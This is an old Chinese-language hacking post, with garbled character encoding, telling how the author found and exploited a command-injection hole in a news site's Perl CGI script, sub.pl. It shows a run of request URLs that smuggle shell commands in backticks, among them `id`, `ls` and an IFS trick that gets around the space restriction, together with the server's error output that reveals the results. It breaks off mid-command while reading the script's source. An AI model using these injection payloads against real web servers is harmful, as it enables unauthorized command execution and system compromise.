一個(gè)CGI漏洞的發(fā)現(xiàn)和利用
一個(gè)CGI漏洞的發(fā)現(xiàn)和利用
聲明:寫(xiě)這個(gè)貼子的目地不是慫恿搞破壞,只是想說(shuō)明一個(gè) 問(wèn)題,有誰(shuí)用貼子提供的信息干了什么壞事,那完全是他自 己的事,與本人無(wú)關(guān)! 前幾天在國(guó)內(nèi)的某個(gè)169節(jié)點(diǎn)讀新聞,這個(gè)站點(diǎn)頂部的一 排分類(lèi)新聞的鏈接引起了我的注意,這些鏈接都指向一個(gè) 叫sub.pl的CGI,只是它們后面跟的參數(shù)不同:國(guó)內(nèi)新聞的 是sub.pl?cn,國(guó)際新聞的是sub.pl?in,財(cái)經(jīng)的是sub.pl?fi 諸如此類(lèi)...跟一般的CGI程序不同,sub.pl后跟的不是通常 的key,value對(duì),哈,讓我給sub.pl吃點(diǎn)洋葷,隨便自己指定 個(gè)參數(shù)給它: http://victim.net/cgi-bin/home/news/sub.pl?12 不出所料,CGI運(yùn)行出錯(cuò)了: /home1/siteadm/cgi-bin/home/news/log/12/*.*: 無(wú)此文件或目錄 這個(gè)CGI真是太老實(shí)了,它至少告訴了我們兩件事情:一 CGI目錄 的路徑. 二 我們輸入?yún)?shù)的作用,sub.pl的參數(shù)是在腳本中 作為目錄名.這些發(fā)現(xiàn)一下子把我興趣提了起來(lái),再試試不同的 參數(shù)說(shuō)不定有更大的發(fā)現(xiàn),經(jīng)過(guò)N次的試驗(yàn),得到的出錯(cuò)信息大同 小異,值到第N+1次請(qǐng)求: http://victim.net/cgi-bin/home/news/sub.pl?& 服務(wù)器的返回信息有些不一樣了: sh: /WS_FTP95.exe: 不能執(zhí)行 注意到了前面的"sh:"了嗎?哈!,熟悉UNIX的朋友應(yīng)該知道,這可是 只有在shell試圖運(yùn)行某個(gè)程序出錯(cuò)時(shí)才會(huì)出現(xiàn)的錯(cuò)誤信息.看起 來(lái)shell在試圖運(yùn)行什么程序,而重要的是我們能夠影響它!怎樣去 進(jìn)一步的影響它呢?反引號(hào)"`",是值得一試的: http://victim.net/cgi-bin/home/news/sub.pl?`ls` 服務(wù)器返回了奇怪的信息: /home1/siteadm/cgi-bin/home/news/log/315: 無(wú)此文件或目錄 "315"是什么東西? 再試: http://victim.net/cgi-bin/home/news/sub.pl?`id` 這次返回的信息令我大吃一驚: /home1/siteadm/cgi-bin/home/news/log/uid=999(siteadm): 無(wú)此文件或目錄 gid=999(netsite)/*.*: 無(wú)此文件或目? 很顯然,服務(wù)器運(yùn)行了id,我們能利用sub.pl運(yùn)行shell命令了!剛 才的ls命令也肯定運(yùn)行了,"315"一定是當(dāng)前CGI目錄下的子目錄. 讓我們來(lái)列一下服務(wù)器根目錄吧: http://victim.net/cgi-bin/home/news/sub.pl?`ls%/` 沒(méi)成功: sh: ls%/: 沒(méi)找到 看來(lái),sub.pl沒(méi)有把"%"解碼成空格的習(xí)慣 :( 如何繞過(guò)這個(gè)限制 呢?相信你現(xiàn)在也已經(jīng)想到了,還得靠我們的IFS變量, 用它來(lái)指定 shell分界符.試一下: http://victim.net/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` 服務(wù)器的回應(yīng): /home1/siteadm/cgi-bin/home/news/log/SunOS: 無(wú)此文件或目錄 victim.net: 無(wú)此文件或目錄 5.5.1: 無(wú)此文件或目錄 Generic_103640-27: 無(wú)此文件或目錄 sun4u: 無(wú)此文件或目錄 sparc: 無(wú)此文件或目錄 SUNW,Ultra-2/*.*: 無(wú)此文件或目錄 成功了!現(xiàn)在我們差不多有了shell訪問(wèn)權(quán)限,對(duì)SunOS這樣的系統(tǒng),拿 到root只是時(shí)間問(wèn)題了.沒(méi)有必要再繼續(xù)下去,我不想搞破壞,對(duì)sub.pl 瞎子摸象式的攻擊已經(jīng)給了我足夠的樂(lè)趣. :) 當(dāng)然我還有興趣看 看問(wèn)題到底出在哪,把sub.pl弄下來(lái)看看: 當(dāng)然這還得靠sub.pl :) http://victim.net/cgi-bin/home/news/sub.pl?`cat